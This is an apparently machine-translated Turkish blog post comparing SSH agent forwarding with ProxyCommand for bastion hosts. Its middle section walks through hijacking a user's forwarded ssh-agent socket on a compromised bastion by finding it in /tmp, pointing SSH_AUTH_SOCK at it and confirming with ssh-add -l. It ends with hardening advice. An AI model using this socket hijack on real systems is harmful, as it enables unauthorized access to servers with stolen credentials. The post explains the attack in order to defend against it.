ProxyJump ile ilgili cevabı gördüm. ProxyCommand hakkında konuşalım .
Ama bekle, bekle! Size Ajan iletimi kullanan sunucuyu nasıl hackleyeceğinizi yazabilirim , bu farkı anlamak çok daha kolay olurdu!
Hack edelim!
Temel adımlar için: benim post okuyabilir burada
Temel adımlar şunlardır:
- Bastion kullanıcıları oluşturma
- Kök girişini devre dışı bırak
- Bilgisayar korsanlığı girişimlerini engelle
- Bağlantı noktasını değiştir
- Güvenlik duvarını yapılandırın
- SELinux'u yapılandır
AgentForwarding nasıl kullanılır?
-~ / .Ssh / config içinde yapılandırma oluştur
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
- Kimlik doğrulama anahtarınızı ssh-agent'a ekleyin
ssh-add ~/.ssh/name_rsa
- Bodrum hoslarına bağlan
ssh bast
-Başlangıçtan uygulama sunucusunu bağlayın
ssh app@IP -p PORT
Hacklemek!
Bana şu soruyu sorabilirsiniz:
Bastion ana bilgisayarından ödün verdiyseniz sunucuları nasıl hackleyebilirim?
Hedefi Takip Et
/ Tmp dizininde şöyle bir şey görebilirsiniz:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Geçici dosyayı açalım
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Bu işlem kimliğine bağlantıları görelim .
netstat -nxp | grep 10507
sonuç:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
ve kim bağlı?
lsof -i -a -p 10507
sonuç:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Soket dosyalarını da görebiliriz:
cd /proc/10507/fd/
ls
sonuç:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Ve ne olur istemci zaman bağlanacaktır uzak sunucuya? bakalım:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Soket dosyasının netstat kullanılarak kullanılıp kullanılmadığını bile görebiliriz:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Steal Socket bilgisi ve IP adresi
Şimdi kalesi konağın oturumu ise soket bilgilerini çalmak için gereken açık . Oh, ayrıca hedef sunucu IP'sine ihtiyacımız var , bu yüzden sadece netstat kullanın:
netstat -tn
Son adım kullanmaya iletilen soket dosyasını
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Anahtarın yüklü olup olmadığını kontrol edin .
ssh-add -l
şey olması gerektiği sonucu böyle :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Sunucu saldırıya uğradı, güvenlik sorunu nasıl düzeltilir?
Proxy komutu
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Temel işlemler için: dosyalar sunucudan nasıl aktarılır (istemciden sunucuya, sunucudan istemciye), yazıma buradan ulaşabilirsiniz
Sonuç
- Bastion host kullanıyorsanız AgentForwarding'i değil, ProxyCommand'ı kullanın
- Kimlik doğrulaması için her zaman kök olmayan kullanıcıyı kullan
- Bir güvenlik duvarı kullanın ve tüm gereksiz bağlantıları engelleyin.
- SELinux kullanın (Genel olarak)
- Birkaç kez hatalı kimlik bilgileriyle oturum açmaya çalışan IP adresini engelleyin
- Gerekli değilse kullanıcıya sudo izni vermeyin
- Sunucunuzu izleyin
- Sunucunuzu güvenlik yamaları için güncelleyin
Daha fazla bilgi için bloguma bakın . Ayrıca bazı screeenshots var, bu yüzden sizin için yararlı olabilir.